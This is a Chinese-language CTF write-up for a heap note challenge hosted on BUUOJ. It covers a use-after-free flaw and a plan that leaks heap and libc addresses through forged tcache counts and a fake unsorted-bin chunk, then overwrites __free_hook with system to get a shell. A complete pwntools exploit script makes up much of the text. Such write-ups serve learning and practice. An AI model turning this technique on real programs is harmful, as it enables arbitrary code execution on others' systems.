题目
题目链接
checksec

全开
IDA
main

菜单题

add

一次 add 申请两个 chunk ,记为 head_chunk 和 content_chunk
delete

有明显的 UAF 漏洞
show

delete 后仍可以 show
edit

delete 后仍可以 edit
read_idx

read_size

攻击思路
由于一次 add 申请两个 chunk ,而一次 delete 只 free 掉 head_chunk 且不清空数据,而 delete 后仍可以 edit,所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权,进而利用 edit/show 实现 AAW/AAR
同时,在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ,我们可以利用 chunk 的残留值泄露堆地址,实现对堆的完全控制
然而由于我们并没有操作栈的机会,也没有办法劫持 got 表,因此我们考虑去劫持 __free_hook 函数,这需要泄露 libc 基址
由于 tcache 的结构存在于堆上,而 fastbin 为单向链表,我们没有办法通过它们去泄露 libc 基址,因此考虑 unsorted_bin ,因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ,而 arena 与 libc 基址的相对偏移固定
由于强行塞满 tcache 所需的 chunk 数量过多,不方便操作,因此我们考虑直接修改位于堆上的 counts 数组,使 tcache 看起来是满的
为了绕开 fastbin ,我们考虑使用 size 为 0x90 的 chunk ,同时把对应 tcache 的 counts 设为 7
但是程序只允许 free 掉 0x30 的 chunk ,所以我们需要伪造一个 fake chunk 去绕过安全检测
我们需要伪造的有:
- chunk_size = 0x91
- chunk_prev_size = 0x30
- next_chunk_prev_size = 0x90
- next_chunk_prev_inuse_bit = 1
- next_chunk_size 合法,且保险起见,不要让它与 top_chunk 重叠
利用 AAW 伪造完成后, delete 掉 fake_chunk 即可使之进入 unsorted_bin ,再利用 AAR 即可泄露 libc 基址
最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\x00 ,再 delete 掉这个 head_chunk 即可提权
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug: p = process('./pwn') else: p = remote('node5.buuoj.cn', 28814)
def padd(idx, size, content): p.recvuntil(b'>>\n') p.sendline(b'1') p.recvuntil(b'idx(0~15): ') p.sendline(str(idx).encode()) p.recvuntil(b'size: ') p.sendline(str(size).encode()) p.recvuntil(b'note: ') p.sendline(content)
def pdelete(idx): p.recvuntil(b'>>\n') p.sendline(b'2') p.recvuntil(b'idx(0~15): ') p.sendline(str(idx).encode())
def pshow(idx): p.recvuntil(b'>>\n') p.sendline(b'3') p.recvuntil(b'idx(0~15): ') p.sendline(str(idx).encode())
def pedit(idx, content): p.recvuntil(b'>>\n') p.sendline(b'4') p.recvuntil(b'idx(0~15): ') p.sendline(str(idx).encode()) p.recvuntil(b'content: ') p.send(content) def pwrite(addr, val): payload = p64(0x20) + b'\x00' * 0x10 + p64(addr) pedit(2, payload) pedit(0, val) def pread(addr): payload = p64(0x20) + b'\x00' * 0x10 + p64(addr) pedit(2, payload) pshow(0) def attack(): padd(3, 0x20, b'') padd(0, 0x20, b'') padd(1, 0x20, b'') pdelete(3) pdelete(0) pdelete(1) padd(2, 0x20, b'') pshow(2) p.recvuntil(b'\n') heap3_addr = u64(p.recv(6).ljust(8, b'\x00')) log.info(f'heap3_addr = {hex(heap3_addr)}') pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7)) padd(4, 0x28, b'A' * 0x20 + p64(0x30)) padd(5, 0x70, b'') pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91)) pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21)) pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90)) pdelete(5) pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8) p.recvuntil(b'\n') bins0_addr = u64(p.recv(6).ljust(8, b'\x00')) log.info(f'bins0_addr = {hex(bins0_addr)}') libc_addr = bins0_addr - 0x1cabe0 log.info(f'libc_addr = {hex(libc_addr)}') __free_hook_addr = libc_addr + 0x1cce48 log.info(f'__free_hook_addr = {hex(__free_hook_addr)}') system_addr = libc_addr + 0x30290 log.info(f'system_addr = {hex(system_addr)}') pwrite(heap3_addr, b'/bin/sh\x00') pwrite(__free_hook_addr, p64(system_addr)) pdelete(4) p.interactive()
attack()
|